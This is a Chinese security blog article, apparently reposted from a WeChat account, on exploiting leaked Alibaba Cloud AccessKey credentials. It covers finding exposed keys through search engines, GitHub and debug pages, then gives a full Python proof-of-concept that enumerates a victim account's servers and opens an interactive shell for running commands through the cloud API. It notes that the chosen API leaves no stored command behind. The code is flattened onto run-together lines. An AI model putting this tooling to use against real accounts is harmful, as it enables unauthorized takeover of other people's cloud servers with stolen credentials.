云服务器 AccessKey 密钥泄露利用

  • A+
所属分类:安全文章


云服务器 AccessKey 密钥泄露利用

:关于API🐑

目前为止,云服务器已经占据了服务器的大部分市场,由于云服务器易管理,操作性强,安全程度高。很多大型厂商都选择将资产部署在云服务上,但安全的同时由于运维人员的疏忽也会导致一些非预期的突破口


在阅读下文前我们先简单了解下关于云服务的 AccessKey密钥,我们这里拿 阿里云 举一个例子

云服务器 AccessKey 密钥泄露利用

登录阿里云账户后点击 AccessKey管理

云服务器 AccessKey 密钥泄露利用


简单来说这个密钥相当于账户的API调用,具有账户完全的权限

云服务器 AccessKey 密钥泄露利用

创建后就会生成 AccessKey ID,AccessKey Secret

  • AccessKeyId:用于标识用户。

  • AccessKeySecret:用于验证用户的密钥。AccessKeySecret必须保密。

这里我们就创建好了这个密钥,常见的开发过程中就有可能会需要这个密钥,而这个密钥我们通常需要一些信息收集手段拿到这个密钥




二:  收集点🐇

FOFA,Google等搜索引擎

云服务器 AccessKey 密钥泄露利用

云服务器 AccessKey 密钥泄露利用


Github

云服务器 AccessKey 密钥泄露利用



部分开发框架的Debug或报错页面

云服务器 AccessKey 密钥泄露利用


云服务器 AccessKey 密钥泄露利用


三:  密钥利用🐋

在渗透测试过程中拿到这个密钥后,可以到云服务管理平台获取更多信息

这里我们使用行云管家进行下一步: https://yun.cloudbility.com/

登录注册后选择对应的厂商服务并写入密钥

云服务器 AccessKey 密钥泄露利用

云服务器 AccessKey 密钥泄露利用

接着会扫描账户下的所有服务器,勾选添加点击下一步

云服务器 AccessKey 密钥泄露利用


这样就会账户下的所有主机添加进去

云服务器 AccessKey 密钥泄露利用

如下图,已经拥有服务器的管理权限,重启,关闭,改密码都是非常危险的行为

云服务器 AccessKey 密钥泄露利用

而我们要做到的是控制主机,用其他的平台执行命令是行不通的,所以我们需要调用原生的API来对主机进行命令执行

阿里云API开发链接: https://next.api.aliyun.com/api/Ecs/2014-05-26/RunInstances

云服务器 AccessKey 密钥泄露利用


阿里云的 API 中拥有了所有此用户的权限,通过调用API中的方法我们就可以在渗透过程中完成一系列的对主机的操作

简单列举下API调用的思路,然后写API利用脚本

云服务器 AccessKey 密钥泄露利用


首先获取当前用户下的所有主机信息

调用API  DescribeInstances

云服务器 AccessKey 密钥泄露利用

创建一条需要执行的命令

这里我使用的是旧版的API RunCommand因为一次性返回 CommandId InvokeId 且使用完就删除,不会保留在云助手

云服务器 AccessKey 密钥泄露利用


再完成回显的查看的API调用  DescribeInvocationResults

云服务器 AccessKey 密钥泄露利用

更多的功能大家就自行探索啦

这里看一下我写的利用代码的使用

扫描地域主机

云服务器 AccessKey 密钥泄露利用


Linux主机命令执行

云服务器 AccessKey 密钥泄露利用


Windows命令执行

云服务器 AccessKey 密钥泄露利用


反弹shell

云服务器 AccessKey 密钥泄露利用



四:  POC🦉


完整代码和所需Python库 pip3 install aliyun-python-sdk-corepip3 install aliyun-python-sdk-ecs

#!/usr/bin/env python#coding=utf-8
import jsonimport sysimport time
from aliyunsdkcore.client import AcsClientfrom aliyunsdkcore.acs_exception.exceptions import ClientExceptionfrom aliyunsdkcore.acs_exception.exceptions import ServerExceptionfrom aliyunsdkecs.request.v20140526.DescribeInstanceStatusRequest import DescribeInstanceStatusRequestfrom aliyunsdkecs.request.v20140526.DescribeRegionsRequest import DescribeRegionsRequestfrom aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequestfrom aliyunsdkecs.request.v20140526.DescribeInvocationResultsRequest import DescribeInvocationResultsRequestfrom aliyunsdkecs.request.v20140526.RunCommandRequest import RunCommandRequest
def Linux_Cmd_Exec(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, ZhuJi_ID, Zhuji_Aliyun_City_Host): client = AcsClient(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Zhuji_Aliyun_City_Host) request = DescribeInstancesRequest() request.set_accept_format('json') InstanceId = [ZhuJi_ID] request.set_InstanceIds(InstanceId)
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') print( """ 33[1;31m --------------------------------------------------------------------------------33[0m 33[1;31m - +-------+ 33[0m 33[1;31m - | Linux | OS: %s 33[0m 33[1;31m - | | --------> IP: %s 33[0m 33[1;31m - | | Name: %s 33[0m 33[1;31m - +-------+ 33[0m 33[1;31m --------------------------------------------------------------------------------33[0m """ % ( json.loads(response)['Instances']['Instance'][0]['OSName'], json.loads(response)['Instances']['Instance'][0]['PublicIpAddress']['IpAddress'][0], json.loads(response)['Instances']['Instance'][0]['InstanceName']) ) while True: Cmd = str(input("33[5;37m[[email protected]{}] 33[0m".format(ZhuJi_ID))) if Cmd == "exit": print("33[1;31m-正在退出主机..... {} 33[0m".format(ZhuJi_ID)) break Linux_exec(client, Cmd, ZhuJi_ID)

def Linux_exec(client, Cmd, ZHUJI_ID): request = RunCommandRequest() request.set_accept_format('json')
request.set_Type("RunShellScript") request.set_CommandContent(Cmd) request.set_InstanceIds([ZHUJI_ID]) request.set_Name("PeiQi") request.set_Description("PeiQi") request.set_Timed(False)
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') CommandId = json.loads(response)['CommandId'] InvokeId = json.loads(response)['InvokeId'] #print(CommandId, InvokeId) time.sleep(1) request = DescribeInvocationResultsRequest() request.set_accept_format('json')
request.set_InvokeId(InvokeId) request.set_InstanceId(ZHUJI_ID) request.set_CommandId(CommandId) request.set_ContentEncoding("PlainText")
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') Output = json.loads(response)['Invocation']['InvocationResults']['InvocationResult'][0]["Output"] print("33[1;32m{}33[0m".format(Output))
def Windows_Cmd_Exec(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, ZhuJi_ID, Zhuji_Aliyun_City_Host): client = AcsClient(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Zhuji_Aliyun_City_Host) request = DescribeInstancesRequest() request.set_accept_format('json') InstanceId = [ZhuJi_ID] request.set_InstanceIds(InstanceId)
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') print( """ 33[1;31m --------------------------------------------------------------------------------33[0m 33[1;31m - +-------+ 33[0m 33[1;31m - |Windows| OS: %s 33[0m 33[1;31m - +-------+ --------> IP: %s 33[0m 33[1;31m - /_______/ Name: %s 33[0m 33[1;31m - 33[0m 33[1;31m --------------------------------------------------------------------------------33[0m """ % ( json.loads(response)['Instances']['Instance'][0]['OSName'], json.loads(response)['Instances']['Instance'][0]['PublicIpAddress']['IpAddress'][0], json.loads(response)['Instances']['Instance'][0]['InstanceName']) ) while True: Cmd = str(input("33[5;37mC:WindowsSystem32> 33[0m".format(ZhuJi_ID))) if Cmd == "exit": print("33[1;31m-正在退出主机 {}..... 33[0m".format(ZhuJi_ID)) break Windows_exec(client, Cmd, ZhuJi_ID)
def Windows_exec(client, Cmd, ZHUJI_ID): request = RunCommandRequest() request.set_accept_format('json')
request.set_Type("RunBatScript") request.set_CommandContent(Cmd) request.set_InstanceIds([ZHUJI_ID]) request.set_Name("PeiQi") request.set_Description("PeiQi") request.set_Timed(False)
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') CommandId = json.loads(response)['CommandId'] InvokeId = json.loads(response)['InvokeId'] #print(CommandId, InvokeId) time.sleep(1) request = DescribeInvocationResultsRequest() request.set_accept_format('json')
request.set_InvokeId(InvokeId) request.set_InstanceId(ZHUJI_ID) request.set_CommandId(CommandId) request.set_ContentEncoding("PlainText")
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') Output = json.loads(response)['Invocation']['InvocationResults']['InvocationResult'][0]["Output"] print("33[1;32m{}33[0m".format(Output))

# 可用地域扫描def Aliyun_City_Scan(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET): Aliyun_City = {} client = AcsClient(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET)
request = DescribeRegionsRequest() request.set_accept_format('json')
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') for i in range(0, 30): try: City_Host = json.loads(response)['Regions']['Region'][i]['RegionId'] City_Name = json.loads(response)['Regions']['Region'][i]['LocalName'] Aliyun_City[City_Name] = City_Host except: print('33[1;34m ------ 搜索到有{}个可使用阿里云地域 ------33[0m'.format(i)) break return Aliyun_City
# 扫描账号下可控主机def Aliyun_Number_Scan(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Aliyun_City): Aliyun_Serve_test_dict = [] InstanceId_List = [] for City in Aliyun_City.keys(): Aliyun_City_Host = Aliyun_City[City] client = AcsClient(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Aliyun_City_Host)
try: request = DescribeInstanceStatusRequest() request.set_accept_format('json') response = client.do_action_with_exception(request) response = str(response, encoding='utf-8') Aliyun_Num = json.loads(response)['TotalCount'] if Aliyun_Num != 0: print("33[1;34m 扫描出 {} 共有 {}台云服务器 33[0m".format(City, Aliyun_Num)) for NUM in range(0, int(Aliyun_Num)): InstanceId = json.loads(response)['InstanceStatuses']['InstanceStatus'][NUM]['InstanceId'] Aliyun_Serve_test(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, InstanceId, Aliyun_City_Host, NUM, Aliyun_Serve_test_dict) InstanceId_List.append(InstanceId)
else: print("33[1;31m 扫描出 {} 共有 {}台云服务器 33[0m".format(City, Aliyun_Num)) except Exception as e: print("33[1;31m 请求发送失败,请检查 API密钥 33[0m", e) sys.exit(0)
print("33[1;36m 此 AccessKey 下共有 {} 台云服务器 n33[0m".format(len(Aliyun_Serve_test_dict))) while True: ZhuJi_ID = str(input("33[35m 请输入 主机ID 进入服务器:n 主机ID >>> 33[0m")) if ZhuJi_ID in InstanceId_List: for data in Aliyun_Serve_test_dict: if ZhuJi_ID == data['InstanceId']: Zhuji_Aliyun_City_Host = data['Aliyun_City_Host'] Zhuji_OS = data['OS'] if Zhuji_OS == "Linux": Linux_Cmd_Exec(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, ZhuJi_ID, Zhuji_Aliyun_City_Host) else: Windows_Cmd_Exec(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, ZhuJi_ID, Zhuji_Aliyun_City_Host) else: print("33[1;31m 请求发送失败,请检查 主机ID是否正确 33[0m")


def Aliyun_Serve_test(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, InstanceId, Aliyun_City_Host, NUM, Aliyun_Serve_test_dict): client = AcsClient(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Aliyun_City_Host) request = DescribeInstancesRequest() request.set_accept_format('json') InstanceId = [InstanceId] request.set_InstanceIds(InstanceId)
response = client.do_action_with_exception(request) response = str(response, encoding='utf-8')
NUM = int(NUM) + 1 OSName = json.loads(response)['Instances']['Instance'][0]['OSName'] if "Windows" in OSName: OS = "Windows" else: OS = "Linux" IpAddress_1 = json.loads(response)['Instances']['Instance'][0]['VpcAttributes']['PrivateIpAddress']['IpAddress'][0] IpAddress_2 = json.loads(response)['Instances']['Instance'][0]['PublicIpAddress']['IpAddress'][0] InstanceName = json.loads(response)['Instances']['Instance'][0]['InstanceName'] InstanceId = InstanceId[0] Aliyun_Serve_test_dict.append({ "InstanceId": InstanceId, "Aliyun_City_Host": Aliyun_City_Host, "OS":OS }) # Aliyun_Serve_test_dict["InstanceId"] = InstanceId # Aliyun_Serve_test_dict["Aliyun_City_Host"] = Aliyun_City_Host # Aliyun_Serve_test_dict["OS"] = OS
print("33[1;34m ({}) 主机ID: {} 系统名称: {} n 外网IP:{}n 内网IP:{} n 服务器名: {}n 33[0m".format(NUM, InstanceId, OSName, IpAddress_2, IpAddress_1, InstanceName))


if __name__ == '__main__': ALIYUN_ACCESSKEYID = "xxxxxxxxxxxxx" ALIYUN_ACCESSKEYSECRET = "xxxxxxxxxxxxxxxxxxxxxx" Aliyun_City = Aliyun_City_Scan(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET) InstanceId_List = Aliyun_Number_Scan(ALIYUN_ACCESSKEYID, ALIYUN_ACCESSKEYSECRET, Aliyun_City)

常见的 Access Key名称

阿里云 ALIYUN_ACCESSKEYIDALIYUN_ACCESSKEYSECRET
腾讯云SecretIdSecretKey
AWSAWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY
青云qy_access_key_idqy_secret_access_key

云服务器 AccessKey 密钥泄露利用

最后


下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐

同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~

云服务器 AccessKey 密钥泄露利用

云服务器 AccessKey 密钥泄露利用


云服务器 AccessKey 密钥泄露利用

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



本文始发于微信公众号(PeiQi文库):云服务器 AccessKey 密钥泄露利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: